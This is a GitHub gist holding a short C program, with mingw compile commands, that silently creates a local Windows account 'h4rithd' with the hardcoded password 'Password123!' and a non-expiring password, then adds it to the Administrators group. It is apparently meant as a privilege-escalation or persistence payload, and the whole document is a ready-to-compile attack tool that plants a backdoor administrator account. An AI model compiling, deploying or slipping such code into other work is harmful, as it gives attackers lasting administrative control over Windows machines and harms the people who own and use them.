Skip to content

Instantly share code, notes, and snippets.

@h4rithd
Last active May 14, 2024 13:53
Show Gist options
  • Save h4rithd/1f5ff0a333524b344559353b85ada9df to your computer and use it in GitHub Desktop.
Save h4rithd/1f5ff0a333524b344559353b85ada9df to your computer and use it in GitHub Desktop.
/*
**************************************************************************
* *
* Created by Harith Dilshan (h4rithd.com) *
* *
* Purpose: *
* This script creates a new user on a Windows system and adds the *
* user to the Administrators group. *
* *
* Compile for 64-bit: *
* x86_64-w64-mingw32-gcc AdminUser.c -o AdminUser.exe -lnetapi32 *
* *
* Compile for 32-bit: *
* i686-w64-mingw32-gcc AdminUser.c -o AdminUser.exe -lnetapi32 *
* *
* Credentials: *
* Username: h4rithd *
* Password: Password123! *
* *
**************************************************************************
*/
#include <windows.h>
#include <lm.h>
#include <stdio.h>
void AddUserToAdminGroup(LPWSTR username) {
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = username;
NET_API_STATUS status = NetLocalGroupAddMembers(
NULL, // Local computer
L"Administrators", // Group name
3, // Level
(LPBYTE)&account, // Buffer
1 // Number of entries
);
if (status == NERR_Success) {
wprintf(L"User %s added to Administrators group successfully.\n", username);
} else {
wprintf(L"Failed to add user %s to Administrators group. Error: %lu\n", username, status);
}
}
int main() {
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
// Initialize the USER_INFO_1 structure
memset(&ui, 0, sizeof(ui));
ui.usri1_name = L"h4rithd";
ui.usri1_password = L"Password123!";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = L"Created by C program";
ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
ui.usri1_script_path = NULL;
// Create the user account
nStatus = NetUserAdd(
NULL, // Local computer
dwLevel, // Information level
(LPBYTE)&ui, // Buffer
&dwError // Error code
);
if (nStatus == NERR_Success) {
wprintf(L"User %s has been successfully added.\n", ui.usri1_name);
AddUserToAdminGroup(ui.usri1_name);
} else {
wprintf(L"NetUserAdd failed with error: %lu\n", nStatus);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment